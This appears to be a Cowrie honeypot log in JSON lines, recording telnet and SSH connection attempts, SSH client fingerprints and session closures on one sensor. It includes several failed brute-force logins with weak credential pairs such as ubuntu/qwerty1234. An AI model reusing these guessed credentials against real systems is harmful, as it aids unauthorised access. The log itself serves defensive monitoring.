{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":45392,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cd7396da58e","protocol":"telnet","message":"New connection: 103.52.146.122:45392 (159.203.135.109:23) [session: 4cd7396da58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:32.633419Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57360,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a7888285c1","protocol":"telnet","message":"New connection: 174.138.46.234:57360 (159.203.135.109:23) [session: f7a7888285c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:32.653734Z"}
{"eventid":"cowrie.session.closed","duration":31.638020038604736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:32.719030Z","src_ip":"103.52.146.122","session":"b809f18e6cc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.362343311309814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:32.814045Z","src_ip":"103.52.146.122","session":"7e9b4eeb9d78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57560,"dst_ip":"159.203.135.109","dst_port":23,"session":"797e30396202","protocol":"telnet","message":"New connection: 174.138.46.234:57560 (159.203.135.109:23) [session: 797e30396202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:33.429266Z"}
{"eventid":"cowrie.session.closed","duration":31.33576250076294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:33.642288Z","src_ip":"103.52.146.122","session":"ddd723a7b4f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57754,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbebcbad2f5c","protocol":"telnet","message":"New connection: 174.138.46.234:57754 (159.203.135.109:23) [session: dbebcbad2f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:34.086758Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":47630,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c33295db24","protocol":"telnet","message":"New connection: 103.52.146.122:47630 (159.203.135.109:23) [session: 99c33295db24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:35.391882Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":48358,"dst_ip":"159.203.135.109","dst_port":23,"session":"55b20e2b2989","protocol":"telnet","message":"New connection: 103.52.146.122:48358 (159.203.135.109:23) [session: 55b20e2b2989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:36.324500Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57582,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b54b3e32c1d","protocol":"telnet","message":"New connection: 174.138.46.234:57582 (159.203.135.109:23) [session: 0b54b3e32c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:36.494966Z"}
{"eventid":"cowrie.session.closed","duration":31.697343826293945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:37.451026Z","src_ip":"103.52.146.122","session":"00a9af261e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.118523359298706,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:37.613367Z","src_ip":"174.138.46.234","session":"0b54b3e32c1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":49110,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b0595ceb85","protocol":"telnet","message":"New connection: 103.52.146.122:49110 (159.203.135.109:23) [session: a0b0595ceb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:38.323964Z"}
{"eventid":"cowrie.session.closed","duration":5.935802221298218,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:38.589407Z","src_ip":"174.138.46.234","session":"f7a7888285c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21836543083191,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:38.611647Z","src_ip":"103.52.146.122","session":"ac43b001c43a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.083531141281128,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:39.512721Z","src_ip":"174.138.46.234","session":"797e30396202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.161.49.16","src_port":6137,"dst_ip":"10.17.0.5","dst_port":23,"session":"7536701aa604","protocol":"telnet","message":"New connection: 122.161.49.16:6137 (10.17.0.5:23) [session: 7536701aa604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:40.980943Z"}
{"eventid":"cowrie.session.closed","duration":31.573681354522705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:42.383029Z","src_ip":"103.52.146.122","session":"2010dbe78f47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.45369267463684,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:42.540321Z","src_ip":"174.138.46.234","session":"dbebcbad2f5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.514098644256592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:42.561375Z","src_ip":"103.52.146.122","session":"ce6e09fe35e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.550217151641846,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:43.483202Z","src_ip":"174.138.46.234","session":"18cf7ec49867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31686782836914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:44.944849Z","src_ip":"103.52.146.122","session":"d9f7569dd0e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.393985509872437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:45.328493Z","src_ip":"103.52.146.122","session":"b534491e51e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.558908462524414,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:46.431680Z","src_ip":"217.182.190.44","session":"46dcb00b5bfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.655731439590454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:51.120951Z","src_ip":"103.52.146.122","session":"12ddc50df93c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":59990,"dst_ip":"159.203.135.109","dst_port":23,"session":"b74f03223676","protocol":"telnet","message":"New connection: 103.52.146.122:59990 (159.203.135.109:23) [session: b74f03223676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:51.392427Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":51814,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3da25bf1ac9","protocol":"ssh","message":"New connection: 103.69.96.120:51814 (159.203.135.109:22) [session: f3da25bf1ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:52.605866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:52.610548Z","src_ip":"103.69.96.120","session":"f3da25bf1ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:52.857861Z","src_ip":"103.69.96.120","session":"f3da25bf1ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34798,"dst_ip":"159.203.135.109","dst_port":23,"session":"564db4e1e686","protocol":"telnet","message":"New connection: 174.138.46.234:34798 (159.203.135.109:23) [session: 564db4e1e686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:53.393357Z"}
{"eventid":"cowrie.session.closed","duration":12.883087873458862,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:53.863935Z","src_ip":"122.161.49.16","session":"7536701aa604","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin3","password":"admin3","message":"login attempt [admin3/admin3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:53.878679Z","src_ip":"103.69.96.120","session":"f3da25bf1ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":34406,"dst_ip":"159.203.135.109","dst_port":23,"session":"1442c5e68332","protocol":"telnet","message":"New connection: 103.52.146.122:34406 (159.203.135.109:23) [session: 1442c5e68332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:54.240900Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:55.129412Z","src_ip":"103.69.96.120","session":"f3da25bf1ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.662354469299316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:56.495779Z","src_ip":"103.52.146.122","session":"a1c552b2c67a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.549216985702515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:57.244933Z","src_ip":"103.52.146.122","session":"337180db51c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09879541397095,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:58.981903Z","src_ip":"103.52.146.122","session":"ff4ae8b190ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.714516639709473,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:05:59.107734Z","src_ip":"174.138.46.234","session":"564db4e1e686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":39626,"dst_ip":"159.203.135.109","dst_port":23,"session":"d014073ff4bd","protocol":"telnet","message":"New connection: 103.52.146.122:39626 (159.203.135.109:23) [session: d014073ff4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:00.872238Z"}
{"eventid":"cowrie.session.closed","duration":30.632766008377075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:00.925259Z","src_ip":"103.52.146.122","session":"47d35758fe40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30448579788208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:03.937811Z","src_ip":"103.52.146.122","session":"4cd7396da58e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.317208528518677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:06.708970Z","src_ip":"103.52.146.122","session":"99c33295db24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.344775199890137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:07.669195Z","src_ip":"103.52.146.122","session":"55b20e2b2989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":45474,"dst_ip":"159.203.135.109","dst_port":23,"session":"143a1f5de866","protocol":"telnet","message":"New connection: 103.52.146.122:45474 (159.203.135.109:23) [session: 143a1f5de866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:08.629313Z"}
{"eventid":"cowrie.session.closed","duration":31.34890842437744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:09.672768Z","src_ip":"103.52.146.122","session":"a0b0595ceb85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":47880,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d21c2283eb","protocol":"telnet","message":"New connection: 103.52.146.122:47880 (159.203.135.109:23) [session: 19d21c2283eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:11.644406Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f6a0a5faa80","protocol":"telnet","message":"New connection: 103.52.146.122:50862 (159.203.135.109:23) [session: 3f6a0a5faa80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:15.855615Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":53336,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1fd2f5be390","protocol":"telnet","message":"New connection: 20.123.41.163:53336 (10.17.0.5:23) [session: a1fd2f5be390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:18.932715Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":55680,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b7dad45c8fb","protocol":"telnet","message":"New connection: 103.52.146.122:55680 (159.203.135.109:23) [session: 3b7dad45c8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:21.733943Z"}
{"eventid":"cowrie.session.closed","duration":31.157535076141357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:22.549842Z","src_ip":"103.52.146.122","session":"b74f03223676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.152597665786743,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:25.085199Z","src_ip":"20.123.41.163","session":"a1fd2f5be390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.151249170303345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:26.392040Z","src_ip":"103.52.146.122","session":"1442c5e68332","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":60196,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed9be1817eb9","protocol":"telnet","message":"New connection: 103.52.146.122:60196 (159.203.135.109:23) [session: ed9be1817eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:27.532074Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":55144,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e2f2888f08","protocol":"ssh","message":"New connection: 181.39.158.30:55144 (159.203.135.109:22) [session: 96e2f2888f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:27.795772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:27.800620Z","src_ip":"181.39.158.30","session":"96e2f2888f08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:27.917922Z","src_ip":"181.39.158.30","session":"96e2f2888f08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"a","message":"login attempt [server/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:28.422663Z","src_ip":"181.39.158.30","session":"96e2f2888f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:29.544837Z","src_ip":"181.39.158.30","session":"96e2f2888f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.84087061882019,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:32.712955Z","src_ip":"103.52.146.122","session":"d014073ff4bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.549298524856567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:40.178506Z","src_ip":"103.52.146.122","session":"143a1f5de866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16670250892639,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:42.811016Z","src_ip":"103.52.146.122","session":"19d21c2283eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":47414,"dst_ip":"159.203.135.109","dst_port":23,"session":"22bae243c80a","protocol":"telnet","message":"New connection: 103.52.146.122:47414 (159.203.135.109:23) [session: 22bae243c80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:47.345242Z"}
{"eventid":"cowrie.session.closed","duration":31.828969478607178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:47.684448Z","src_ip":"103.52.146.122","session":"3f6a0a5faa80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":48068,"dst_ip":"159.203.135.109","dst_port":23,"session":"da9f1d15789f","protocol":"telnet","message":"New connection: 103.52.146.122:48068 (159.203.135.109:23) [session: da9f1d15789f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:48.380052Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":58007,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc13ae487b8a","protocol":"ssh","message":"New connection: 103.248.120.6:58007 (10.17.0.5:22) [session: cc13ae487b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:49.674042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:49.678863Z","src_ip":"103.248.120.6","session":"cc13ae487b8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:49.901381Z","src_ip":"103.248.120.6","session":"cc13ae487b8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty1234","message":"login attempt [ubuntu/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:50.824202Z","src_ip":"103.248.120.6","session":"cc13ae487b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:52.050261Z","src_ip":"103.248.120.6","session":"cc13ae487b8a","protocol":"ssh"}
